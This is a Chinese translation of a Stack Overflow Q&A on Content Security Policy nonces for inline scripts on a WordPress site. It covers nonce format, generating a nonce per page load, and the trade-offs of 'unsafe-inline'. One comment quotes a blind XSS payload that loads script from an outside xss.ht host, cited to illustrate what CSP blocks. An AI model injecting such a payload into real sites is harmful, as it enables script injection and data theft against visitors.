如何允许内联 JS 脚本使用 Nonce 进行 CSP

Posted

技术标签:

【中文标题】如何允许内联 JS 脚本使用 Nonce 进行 CSP【英文标题】:How to allow Inline JS Scripts using Nonces for CSP 【发布时间】:2021-11-06 00:33:28 【问题描述】:

我正在尝试在我的网站上实施 CSP。我经常更改我的内联脚本,所以对于 CSP 来说,哈希对我来说是个坏主意

我读到,随机整数的 Nonce 可用于实现 CSP。

我正在使用 WordPress。下面是我的 CSP 标头。

Header add Content-Security-Policy "default-src 'self'; script-src unsafe-hashes 'self' https://milyin.com https://cdnjs.cloudflare.com https://cdn.tiny.cloud  https:; object-src 'none';base-uri 'none';img-src https: data:;style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://www.google.com https:;report-uri https://milyin.com/?csp=true"

正如您可能知道的那样,内联脚本不会从中执行。那么如何实现呢。

最初的研究让我想到了哈希的想法,而我可以从 chrome 开发工具中获取脚本的哈希这一事实使它变得简单明了。

但是,对任何脚本进行最轻微的更改都需要我更改哈希值,这一事实令人头疼。

所以我听说过随机数。

请建议如何实现它,并(如果可能的话)告诉他们是否存在对像我这样的 wordpress 用户更简单的方法。

所以我有几个疑问:

    什么是随机数?据我了解,这是我喜欢的随机整数。

    我可以在所有脚本中使用相同的随机数吗?我的意思是我可以说 Header add Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-69' 然后在我网站的每个脚本中输入 <script nonce="69" 吗?

    我需要经常更改 Nonce 吗?我的意思是,如果 Nonce 是恒定的,那么有人可以简单地使用相同的 nonce 放置注入脚本并让它工作。如何预防。

【问题讨论】:

【参考方案1】:

1.) 什么是随机数?据我了解,这是我喜欢的随机整数。

Nonce 是 base64 编码值:

; Nonces: 'nonce-[nonce goes here]'
nonce-source  = "'nonce-" base64-value "'"
base64-value  = 1*( ALPHA / DIGIT / "+" / "/" / "-" / "_" )*2( "=" )

2.) 我可以在所有脚本中使用相同的随机数吗?我的意思是我可以说 Header add Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-69' 然后把

是的,您可以使用一次生成的随机数,而无需为页面上的每个脚本生成新的随机数。 要生成随机数,您可以使用:

mod_cspnonce 在 Apache 网络服务器的情况下 $request_id 变量在 nginx 1.11.0+ 网络服务器的情况下

3.) 我需要经常更改 Nonce 吗?我的意思是如果 Nonce 是恒定的,那么有人可以简单地使用相同的 nonce 放置注入脚本并让它工作。如何预防。

根据CSP spec 服务器必须在每次传输策略时生成一个唯一的 nonce 值。生成的值应至少为 128 位长(编码前),并且应通过加密安全的随机数生成器生成,以确保攻击者难以预测该值。 这意味着您必须在每个页面加载时重新生成一个随机数。

顺便说一句,... script-src unsafe-hashes 'self' ... 中有错误 - unsafe-hashes 标记应该是单引号:'unsafe-hashes'。但无论如何它没有用,因为它不受 Safari 的支持。

【讨论】:

关于如何在 WordPress 上实现它的任何知识。?我的意思是如何生成随机数,然后将其放在每个排队的文件中.. 点击mod_cspnonce$request_id 的链接 - 有如何在 php 中使用它们的示例。 哪些链接?不明白,(我不是一个非常有经验的 Stack Overflow 用户) 链接 mod_cspnonce 和 $request_id 包含有关如何在 Apache 和 Nginx Web 服务器上分别使用 PHP 随机数的信息。 会调查它,但我对我能够在 WordPress 环境中做到这一点真的很不自信。无论如何感谢您的支持。【参考方案2】:

必须为每个页面加载生成一个唯一的随机数 推出基于 nonce 的 CSP 的架构通常用于自定义 Web 应用程序 - 对于 Wordpress 网站来说会非常复杂,因为我想您可能正在使用缓存/CDN。

我建议您继续使用 'unsafe-inline' 来访问 Wordpress 网站。如果您有其他更重要的页面(如结帐页面/管理页面),您可以创建单独的 CSP。

话虽如此,如果您继续使用 nonces 实现 CSP,您可能需要添加 'strict-dynamic''unsafe-eval' 权限。

【讨论】:

那么除了随机数之外还有其他方式来获得 CSP 吗?我想以一种简单的方式保护我的网站。根据互联网,据说不安全的内联是不安全的 script-src 指令中带有'unsafe-inline' 的CSP 根本不能防止XSS。 它可以防止托管的 XSS,例如 Tesla Blind XSS,其中 XSS Payload 是 "><script src=//zlz.xss.ht></script>。这不是 XSS 预防的理想解决方案,但仍然比没有 script-src 好得多。

以上是关于如何允许内联 JS 脚本使用 Nonce 进行 CSP的主要内容,如果未能解决你的问题,请参考以下文章

内容安全策略 nonce 不适用于事件处理程序属性

PayPal 智能按钮内联脚本的 Nonce

收到 Nonce 后如何进行 Braintree 交易?

wp-json API 在使用 React 和 nonce 进行后期编辑时返回 401

内容安全策略阻止了我的JQuery脚本中的代码

JavaScript:具有 SRC 属性的内联脚本?